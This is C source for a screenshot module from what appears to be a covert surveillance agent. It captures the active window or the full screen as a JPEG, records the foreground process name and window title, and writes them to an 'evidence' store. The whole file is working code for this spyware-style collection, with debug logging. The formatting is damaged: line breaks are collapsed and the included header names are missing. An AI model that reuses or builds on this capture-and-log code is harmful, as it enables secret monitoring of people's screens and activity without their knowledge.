#include #include #include #include #include #include "module.h" #include "evidencemanager.h" #include "me.h" #include "runtime.h" #include "xutils.h" #include "bioutils.h" #include "imgutils.h" #define SCREENSHOTMODULE_VERSION 2009031201 struct additional { unsigned int version; unsigned int processlen; unsigned int titlelen; } __attribute__((packed)); extern Display *display; void *module_screenshot_main(void *args) { Window active = 0; char *process = NULL, *title = NULL; int window = 0, quality = 90; struct additional a; BIO *bio_additional = NULL; char *additionalptr = NULL, *dataptr = NULL; long additionallen = 0, datalen = 0; debugme("Module SCREENSHOT started\n"); if(initlib(INIT_LIBJPEG)) return NULL; if(MODULE_SCREENSHOT_P) { window = MODULE_SCREENSHOT_P->window; quality = MODULE_SCREENSHOT_P->quality; } do { if(!(active = getactivewindow(display))) break; getwindowproperties(display, active, &process, &title); if(!(datalen = getscreenimage(display, window ? active : DefaultRootWindow(display), -1, -1, -1, -1, quality, &dataptr))) break; if(!(bio_additional = BIO_new(BIO_s_mem()))) break; a.version = SCREENSHOTMODULE_VERSION; a.processlen = strlen16(process) + 2; a.titlelen = strlen16(title) + 2; BIO_write(bio_additional, &a, sizeof(a)); BIO_puts16n(bio_additional, process); BIO_puts16n(bio_additional, title); if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break; evidence_write(EVIDENCE_TYPE_SCREENSHOT, additionalptr, additionallen, dataptr, datalen); } while(0); if(bio_additional) BIO_free(bio_additional); if(dataptr) free(dataptr); if(process) free(process); if(title) free(title); debugme("Module SCREENSHOT stopped\n"); return NULL; } .